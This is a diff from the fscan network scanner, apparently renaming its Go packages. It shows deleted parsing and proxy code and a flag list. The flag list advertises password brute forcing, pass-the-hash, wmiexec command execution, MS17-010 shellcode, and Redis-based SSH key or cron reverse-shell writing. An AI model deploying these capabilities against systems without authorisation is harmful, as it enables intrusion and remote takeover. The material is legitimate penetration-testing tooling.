}
func Readfile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
fmt.Printf("Open %s error, %v\n", filename, err)
os.Exit(0)
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
content = append(content, scanner.Text())
}
}
return content, nil
}
func ParseInput(Info *HostInfo) {
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
fmt.Println("Host is none")
flag.Usage()
os.Exit(0)
}
if BruteThread <= 0 {
BruteThread = 1
}
if TmpSave == true {
IsSave = false
}
if Ports == DefaultPorts {
Ports += "," + Webport
}
if PortAdd != "" {
if strings.HasSuffix(Ports, ",") {
Ports += PortAdd
} else {
Ports += "," + PortAdd
}
}
if UserAdd != "" {
user := strings.Split(UserAdd, ",")
for a := range Userdict {
Userdict[a] = append(Userdict[a], user...)
Userdict[a] = RemoveDuplicate(Userdict[a])
}
}
if PassAdd != "" {
pass := strings.Split(PassAdd, ",")
Passwords = append(Passwords, pass...)
Passwords = RemoveDuplicate(Passwords)
}
if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") {
if !strings.Contains(Socks5Proxy, ":") {
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
} else {
Socks5Proxy = "socks5://" + Socks5Proxy
}
}
if Socks5Proxy != "" {
fmt.Println("Socks5Proxy:", Socks5Proxy)
_, err := url.Parse(Socks5Proxy)
if err != nil {
fmt.Println("Socks5Proxy parse error:", err)
os.Exit(0)
}
NoPing = true
}
if Proxy != "" {
if Proxy == "1" {
Proxy = "http://127.0.0.1:8080"
} else if Proxy == "2" {
Proxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(Proxy, "://") {
Proxy = "http://127.0.0.1:" + Proxy
}
fmt.Println("Proxy:", Proxy)
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
fmt.Println("no support this proxy")
os.Exit(0)
}
_, err := url.Parse(Proxy)
if err != nil {
fmt.Println("Proxy parse error:", err)
os.Exit(0)
}
}
if Hash != "" && len(Hash) != 32 {
fmt.Println("[-] Hash is error,len(hash) must be 32")
os.Exit(0)
} else {
Hashs = append(Hashs, Hash)
}
Hashs = RemoveDuplicate(Hashs)
for _, hash := range Hashs {
hashbyte, err := hex.DecodeString(Hash)
if err != nil {
fmt.Println("[-] Hash is error,hex decode error ", hash)
continue
} else {
HashBytes = append(HashBytes, hashbyte)
}
}
Hashs = []string{}
}
func ParseScantype(Info *HostInfo) {
_, ok := PORTList[Scantype]
if !ok {
showmode()
}
if Scantype != "all" && Ports == DefaultPorts+","+Webport {
switch Scantype {
case "wmiexec":
Ports = "135"
case "wmiinfo":
Ports = "135"
case "smbinfo":
Ports = "445"
case "hostname":
Ports = "135,137,139,445"
case "smb2":
Ports = "445"
case "web":
Ports = Webport
case "webonly":
Ports = Webport
case "ms17010":
Ports = "445"
case "cve20200796":
Ports = "445"
case "portscan":
Ports = DefaultPorts + "," + Webport
case "main":
Ports = DefaultPorts
default:
port, _ := PORTList[Scantype]
Ports = strconv.Itoa(port)
}
fmt.Println("-m ", Scantype, " start scan the port:", Ports)
}
}
func CheckErr(text string, err error, flag bool) {
if err != nil {
fmt.Println("Parse", text, "error: ", err.Error())
if flag {
if err != ParseIPErr {
fmt.Println(ParseIPErr)
}
os.Exit(0)
}
}
}
func showmode() {
fmt.Println("The specified scan type does not exist")
fmt.Println("-m")
for name := range PORTList {
fmt.Println(" [" + name + "]")
}
os.Exit(0)
}

View File

@ -1,274 +0,0 @@
package common
import (
"bufio"
"errors"
"fmt"
"math/rand"
"net"
"os"
"regexp"
"sort"
"strconv"
"strings"
)
var ParseIPErr = errors.New(" host parsing error\n" +
"format: \n" +
"192.168.1.1\n" +
"192.168.1.1/8\n" +
"192.168.1.1/16\n" +
"192.168.1.1/24\n" +
"192.168.1.1,192.168.1.2\n" +
"192.168.1.1-192.168.255.255\n" +
"192.168.1.1-255")
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
if filename == "" && strings.Contains(host, ":") {
//192.168.0.0/16:80
hostport := strings.Split(host, ":")
if len(hostport) == 2 {
host = hostport[0]
hosts = ParseIPs(host)
Ports = hostport[1]
}
} else {
hosts = ParseIPs(host)
if filename != "" {
var filehost []string
filehost, _ = Readipfile(filename)
hosts = append(hosts, filehost...)
}
}
if len(nohosts) > 0 {
nohost := nohosts[0]
if nohost != "" {
nohosts := ParseIPs(nohost)
if len(nohosts) > 0 {
temp := map[string]struct{}{}
for _, host := range hosts {
temp[host] = struct{}{}
}
for _, host := range nohosts {
delete(temp, host)
}
var newDatas []string
for host := range temp {
newDatas = append(newDatas, host)
}
hosts = newDatas
sort.Strings(hosts)
}
}
}
hosts = RemoveDuplicate(hosts)
if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" {
err = ParseIPErr
}
return
}
func ParseIPs(ip string) (hosts []string) {
if strings.Contains(ip, ",") {
IPList := strings.Split(ip, ",")
var ips []string
for _, ip := range IPList {
ips = parseIP(ip)
hosts = append(hosts, ips...)
}
} else {
hosts = parseIP(ip)
}
return hosts
}
func parseIP(ip string) []string {
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
case ip == "192":
return parseIP("192.168.0.0/8")
case ip == "172":
return parseIP("172.16.0.0/12")
case ip == "10":
return parseIP("10.0.0.0/8")
// 扫描/8时,只扫网关和随机IP,避免扫描过多IP
case strings.HasSuffix(ip, "/8"):
return parseIP8(ip)
//解析 /24 /16 /8 /xxx 等
case strings.Contains(ip, "/"):
return parseIP2(ip)
//可能是域名,用lookup获取ip
case reg.MatchString(ip):
// _, err := net.LookupHost(ip)
// if err != nil {
// return nil
// }
return []string{ip}
//192.168.1.1-192.168.1.100
case strings.Contains(ip, "-"):
return parseIP1(ip)
//处理单个ip
default:
testIP := net.ParseIP(ip)
if testIP == nil {
return nil
}
return []string{ip}
}
}
// 把 192.168.x.x/xx 转换成 192.168.x.x-192.168.x.x
func parseIP2(host string) (hosts []string) {
_, ipNet, err := net.ParseCIDR(host)
if err != nil {
return
}
hosts = parseIP1(IPRange(ipNet))
return
}
// 解析ip段:
//
// 192.168.111.1-255
// 192.168.111.1-192.168.112.255
func parseIP1(ip string) []string {
IPRange := strings.Split(ip, "-")
testIP := net.ParseIP(IPRange[0])
var AllIP []string
if len(IPRange[1]) < 4 {
Range, err := strconv.Atoi(IPRange[1])
if testIP == nil || Range > 255 || err != nil {
return nil
}
SplitIP := strings.Split(IPRange[0], ".")
ip1, err1 := strconv.Atoi(SplitIP[3])
ip2, err2 := strconv.Atoi(IPRange[1])
PrefixIP := strings.Join(SplitIP[0:3], ".")
if ip1 > ip2 || err1 != nil || err2 != nil {
return nil
}
for i := ip1; i <= ip2; i++ {
AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i))
}
} else {
SplitIP1 := strings.Split(IPRange[0], ".")
SplitIP2 := strings.Split(IPRange[1], ".")
if len(SplitIP1) != 4 || len(SplitIP2) != 4 {
return nil
}
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(SplitIP1[i])
ip2, err2 := strconv.Atoi(SplitIP2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
return nil
}
start[i], end[i] = ip1, ip2
}
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num <= endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
AllIP = append(AllIP, ip)
}
}
return AllIP
}
// 获取起始IP、结束IP
func IPRange(c *net.IPNet) string {
start := c.IP.String()
mask := c.Mask
bcst := make(net.IP, len(c.IP))
copy(bcst, c.IP)
for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1
bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1]
}
end := bcst.String()
return fmt.Sprintf("%s-%s", start, end) //返回用-表示的ip段,192.168.1.0-192.168.255.255
}
// 按行读ip
func Readipfile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
fmt.Printf("Open %s error, %v", filename, err)
os.Exit(0)
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" {
text := strings.Split(line, ":")
if len(text) == 2 {
port := strings.Split(text[1], " ")[0]
num, err := strconv.Atoi(port)
if err != nil || (num < 1 || num > 65535) {
continue
}
hosts := ParseIPs(text[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
}
} else {
host := ParseIPs(line)
content = append(content, host...)
}
}
}
return content, nil
}
// 去重
func RemoveDuplicate(old []string) []string {
result := []string{}
temp := map[string]struct{}{}
for _, item := range old {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
func parseIP8(ip string) []string {
realIP := ip[:len(ip)-2]
testIP := net.ParseIP(realIP)
if testIP == nil {
return nil
}
IPrange := strings.Split(ip, ".")[0]
var AllIP []string
for a := 0; a <= 255; a++ {
for b := 0; b <= 255; b++ {
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 1))
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 2))
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 4))
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 5))
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(6, 55)))
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(56, 100)))
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(101, 150)))
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(151, 200)))
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, RandInt(201, 253)))
AllIP = append(AllIP, fmt.Sprintf("%s.%d.%d.%d", IPrange, a, b, 254))
}
}
return AllIP
}
func RandInt(min, max int) int {
if min >= max || min == 0 || max == 0 {
return max
}
return rand.Intn(max-min) + min
}

View File

@ -1,72 +0,0 @@
package common
import (
"flag"
)
func Banner() {
banner := `
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: ` + version + `
`
print(banner)
}
func Flag(Info *HostInfo) {
Banner()
flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24")
flag.StringVar(&Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&PortAdd, "pa", "", "add port base DefaultPorts,-pa 3389")
flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user")
flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password")
flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445")
flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)")
flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)")
flag.StringVar(&Domain, "domain", "", "smb domain")
flag.StringVar(&Username, "user", "", "username")
flag.StringVar(&Password, "pwd", "", "password")
flag.Int64Var(&Timeout, "time", 3, "Set timeout")
flag.StringVar(&Scantype, "m", "all", "Select scan type ,as: -m ssh")
flag.StringVar(&Path, "path", "", "fcgi、smb romote file path")
flag.IntVar(&Threads, "t", 600, "Thread nums")
flag.IntVar(&LiveTop, "top", 10, "show live len top")
flag.StringVar(&HostFile, "hf", "", "host file, -hf ip.txt")
flag.StringVar(&Userfile, "userf", "", "username file")
flag.StringVar(&Passfile, "pwdf", "", "password file")
flag.StringVar(&Hashfile, "hashf", "", "hash file")
flag.StringVar(&PortFile, "portf", "", "Port File")
flag.StringVar(&PocPath, "pocpath", "", "poc file path")
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub)")
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666)")
flag.BoolVar(&NoPoc, "nopoc", false, "not to scan web vul")
flag.BoolVar(&IsBrute, "nobr", false, "not to Brute password")
flag.IntVar(&BruteThread, "br", 1, "Brute threads")
flag.BoolVar(&NoPing, "np", false, "not to ping")
flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
flag.StringVar(&Outputfile, "o", "result.txt", "Outputfile")
flag.BoolVar(&TmpSave, "no", false, "not to save output log")
flag.Int64Var(&WaitTime, "debug", 60, "every time to LogErr")
flag.BoolVar(&Silent, "silent", false, "silent scan")
flag.BoolVar(&Nocolor, "nocolor", false, "no color")
flag.BoolVar(&PocFull, "full", false, "poc full scan,as: shiro 100 key")
flag.StringVar(&URL, "u", "", "url")
flag.StringVar(&UrlFile, "uf", "", "urlfile")
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
flag.StringVar(&Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
flag.StringVar(&Socks5Proxy, "socks5", "", "set socks5 proxy, will be used in tcp connection, timeout setting will not work")
flag.StringVar(&Cookie, "cookie", "", "set poc cookie,-cookie rememberMe=login")
flag.Int64Var(&WebTimeout, "wt", 5, "Set web timeout")
flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc")
flag.IntVar(&PocNum, "num", 20, "poc rate")
flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add")
flag.BoolVar(&IsWmi, "wmi", false, "start wmi")
flag.StringVar(&Hash, "hash", "", "hash")
flag.BoolVar(&Noredistest, "noredis", false, "no redis sec test")
flag.BoolVar(&JsonOutput, "json", false, "json output")
flag.Parse()
}

View File

@ -1,65 +0,0 @@
package common
import (
"errors"
"golang.org/x/net/proxy"
"net"
"net/url"
"strings"
"time"
)
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
}
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
//get conn
var conn net.Conn
if Socks5Proxy == "" {
var err error
conn, err = forward.Dial(network, address)
if err != nil {
return nil, err
}
} else {
dailer, err := Socks5Dailer(forward)
if err != nil {
return nil, err
}
conn, err = dailer.Dial(network, address)
if err != nil {
return nil, err
}
}
return conn, nil
}
func Socks5Dailer(forward *net.Dialer) (proxy.Dialer, error) {
u, err := url.Parse(Socks5Proxy)
if err != nil {
return nil, err
}
if strings.ToLower(u.Scheme) != "socks5" {
return nil, errors.New("Only support socks5")
}
address := u.Host
var auth proxy.Auth
var dailer proxy.Dialer
if u.User.String() != "" {
auth = proxy.Auth{}
auth.User = u.User.Username()
password, _ := u.User.Password()
auth.Password = password
dailer, err = proxy.SOCKS5("tcp", address, &auth, forward)
} else {
dailer, err = proxy.SOCKS5("tcp", address, nil, forward)
}
if err != nil {
return nil, err
}
return dailer, nil
}

12
main.go
View File

@ -2,16 +2,16 @@ package main
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/Plugins" "github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/Core"
"time" "time"
) )
func main() { func main() {
start := time.Now() start := time.Now()
var Info common.HostInfo var Info Common.HostInfo
common.Flag(&Info) Common.Flag(&Info)
common.Parse(&Info) Common.Parse(&Info)
Plugins.Scan(Info) Core.Scan(Info)
fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start)) fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start))
} }